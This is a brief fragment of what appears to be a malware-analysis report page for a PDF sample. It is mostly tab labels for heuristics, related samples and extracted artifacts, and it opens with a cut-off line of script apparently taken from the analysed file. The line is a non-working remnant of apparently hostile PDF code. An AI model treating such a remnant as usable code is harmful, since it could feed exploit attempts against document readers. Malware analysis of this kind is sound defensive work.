collab_geticon(); } } pdf_start();

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 14

Related samples 7

Extracted artifacts 2